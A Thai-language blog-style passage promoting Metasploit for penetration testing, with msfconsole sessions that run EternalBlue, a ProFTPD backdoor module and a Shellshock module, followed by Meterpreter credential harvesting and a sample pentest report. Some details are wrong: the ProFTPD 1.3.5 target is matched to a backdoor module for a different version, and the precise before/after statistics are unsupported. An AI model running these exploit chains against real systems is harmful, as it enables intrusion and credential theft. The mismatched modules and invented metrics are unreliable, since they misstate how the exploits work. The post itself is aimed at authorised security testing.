echo "=== SECURITY MONITORING ===" >> /tmp/hardening.txt
echo "1. Centralized logging and SIEM" >> /tmp/hardening.txt
echo "2. Real-time threat intelligence" >> /tmp/hardening.txt
echo "3. Incident response procedures" >> /tmp/hardening.txt
echo "4. Regular vulnerability assessments" >> /tmp/hardening.txt

เคสจริง: จาก Amateur Pentesting สู่ Professional Security Assessment

ก่อนใช้ Metasploit Framework

ปัญหาที่เจอจริง:

# สถานการณ์วุ่นวายในการทำ penetration testing

# 1. Manual vulnerability exploitation
# เจอ vulnerability จาก Nessus scan
nmap -sV 192.168.1.100
# PORT   STATE SERVICE VERSION
# 21/tcp open  ftp     ProFTPD 1.3.5

# Google: "ProFTPD 1.3.5 exploit"
# Copy-paste exploit code จาก exploit-db
gcc exploit.c -o exploit
./exploit 192.168.1.100
# Segmentation fault 😞

# 2. No systematic methodology
# Scan แล้วก็งมๆ ว่าจะทำอะไรต่อ
# ไม่มี framework ในการทำงาน
# ลองโชคแบบสุ่มๆ

# 3. Limited post-exploitation
# เข้าระบบได้แล้ว... แล้วไง?
# ไม่รู้จะเก็บข้อมูลอะไร
# ไม่มีเครื่องมือ privilege escalation

# 4. Poor documentation
# ไม่มีการบันทึกผลการทดสอบ
# ไม่รู้ว่าทำอะไรไปบ้างแล้ว
# ไม่สามารถทำซ้ำได้

ผลกระทบที่เกิด:

  • Incomplete Assessment: ทดสอบไม่ครอบคลุม
  • False Negatives: พลาดช่องโหว่ที่สำคัญ
  • Inconsistent Results: ผลการทดสอบไม่น่าเชื่อถือ
  • Poor Reporting: รายงานไม่มีมาตรฐาน
  • Limited Impact: ไม่สามารถแสดงความเสี่ยงจริง

หลังใช้ Metasploit Framework

การทำ Penetration Testing ใหม่:

# 1. Systematic reconnaissance
msf6 > db_nmap -sS -A -oA pentest 192.168.1.0/24
# Comprehensive discovery with database integration

# 2. Vulnerability assessment  
msf6 > search ProFTPD 1.3.5
# Instant access to tested exploits

# 3. Reliable exploitation
msf6 > use exploit/unix/ftp/proftpd_133c_backdoor
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > exploit
# [*] Meterpreter session 1 opened

# 4. Professional post-exploitation
meterpreter > run post/multi/recon/local_exploit_suggester
# Automated privilege escalation recommendations

สิ่งที่เปลี่ยนไป:

AspectBefore MetasploitAfter Metasploit
MethodologyAd-hoc, randomSystematic, structured
Exploit Reliability20% success85% success
Post-ExploitationManual, limitedAutomated, comprehensive
DocumentationPoor, manualAutomated, standardized
Time EfficiencyDays per targetHours per target
Skill RequirementsExpert levelIntermediate level

ผลลัพธ์ที่วัดได้:

MetricBeforeAfterImprovement
Vulnerabilities Found3-5 per test15-25 per test400% increase
Time per Assessment5-7 days1-2 days75% reduction
False Positives30%5%83% reduction
Successful Exploits20%85%325% increase
Report Quality Score3/109/10200% improvement

Real-world Metasploit Workflow

Professional Penetration Test:

# Phase 1: Information Gathering
msf6 > workspace -a client_pentest_2024
msf6 > db_nmap -sS -A -oA discovery 10.0.0.0/16

# Phase 2: Vulnerability Assessment
msf6 > search type:auxiliary scanner
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 > services -p 445 -R

# Phase 3: Exploitation
msf6 > search ms17-010
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > sessions -l

# Phase 4: Post-Exploitation
meterpreter > run post/multi/recon/local_exploit_suggester
meterpreter > run post/windows/gather/credentials/credential_collector

# Phase 5: Reporting
msf6 > db_export -f xml pentest_results.xml
msf6 > generate_report html pentest_report.html

Executive Summary Example:

PENETRATION TEST RESULTS

Executive Summary:
- 23 vulnerabilities identified across 15 systems
- 8 critical vulnerabilities allowing remote code execution
- Complete domain compromise achieved within 4 hours
- 156 user credentials harvested including domain admin

Business Impact:
- Potential for complete data breach
- Regulatory compliance violations (GDPR, PCI-DSS)
- Estimated financial impact: $2.5M - $5M
- Reputation damage and customer trust loss

Recommendations:
1. Immediate patching of MS17-010 vulnerabilities
2. Implementation of network segmentation
3. Deployment of endpoint detection and response (EDR)
4. Multi-factor authentication for all privileged accounts

Before vs After Comparison:

# Before Metasploit: Manual exploitation attempt
wget https://www.exploit-db.com/exploits/12345
gcc -o exploit exploit.c
./exploit 192.168.1.100
# [ERROR] Segmentation fault
# [TIME] 2 hours wasted debugging exploit code

# After Metasploit: Professional exploitation
msf6 > search apache 2.4.41
msf6 > use exploit/linux/http/apache_mod_cgi_bash_env_exec
msf6 > set RHOSTS 192.168.1.100
msf6 > exploit
# [*] Meterpreter session 1 opened
# [TIME] 2 minutes to successful compromise

สรุป: Metasploit ที่เปลี่ยนวิธีคิดเรื่อง Ethical Hacking

ก่อนรู้จัก Metasploit:

  • Penetration testing = ลองใช้ exploit แบบสุ่มๆ 😰
  • Post-exploitation = งมๆ ว่าจะทำอะไรต่อ
  • Reporting = เขียนรายงานด้วยมือ
  • Reliability = หวังโชคว่า exploit จะ work
  • Learning curve = ต้องเป็น expert ในการเขียน exploit

หลังใช้ Metasploit Framework:

  • Systematic Methodology 🎯 - ขั้นตอนการทดสอบที่ชัดเจน
  • Reliable Exploit Database - มี exploit ที่ tested และ maintained
  • Professional Post-Exploitation - เครื่องมือครบครันหลัง compromise
  • Automated Documentation - บันทึกผลการทดสอบอัตโนมัติ
  • Standardized Reporting - รายงานที่มีมาตรฐานระดับมืออาชีพ

ข้อดีที่ได้จริง:

  • Efficiency เพิ่ม 10x: ทดสอบเสร็จเร็วขึ้นมาก
  • Reliability: Exploit success rate สูงขึ้น
  • Comprehensive: ครอบคลุมทุกขั้นตอนของ pentest
  • Professional: ผลงานระดับมืออาชีพ
  • Learning Acceleration: เรียนรู้ ethical hacking ได้เร็วขึ้น

Metasploit Methodology ที่ทำให้สำเร็จ:

  • Information Gathering: Systematic reconnaissance
  • Vulnerability Assessment: Comprehensive vulnerability identification
  • Exploitation: Reliable and tested exploit execution
  • Post-Exploitation: Professional data gathering and privilege escalation
  • Reporting: Standardized and detailed documentation

Best Practices ที่เรียนรู้:

  • Database Integration: ใช้ database เก็บผลการทดสอบ
  • Workspace Management: แยก project ชัดเจน
  • Systematic Approach: ทำตาม methodology
  • Documentation: บันทึกทุกขั้นตอน
  • Ethical Guidelines: ทดสอบในกรอบที่ได้รับอนุญาต

Anti-patterns ที่หลีกเลี่ยง:

  • ทดสอบระบบโดยไม่ได้รับอนุญาต
  • ไม่สำรองข้อมูลก่อนทดสอบ
  • ใช้ exploit โดยไม่เข้าใจ impact
  • ไม่ cleanup หลังการทดสอบ
  • ไม่รายงานช่องโหว่ที่พบ

Metasploit Framework เหมือน Professional Toolkit สำหรับ Ethical Hacker

มันทำให้ penetration testing จาก “งานที่ต้องใช้ luck” เป็น “ศาสตร์ที่มีระบบ”

ตอนนี้ไม่สามารถคิดถึงการทำ security assessment โดยไไม่มี proper framework ได้เลย!

เพราะมันทำให้ ethical hacking เป็นศิลปะจริงๆ แทนที่จะเป็นการเดาสี! 🎯⚡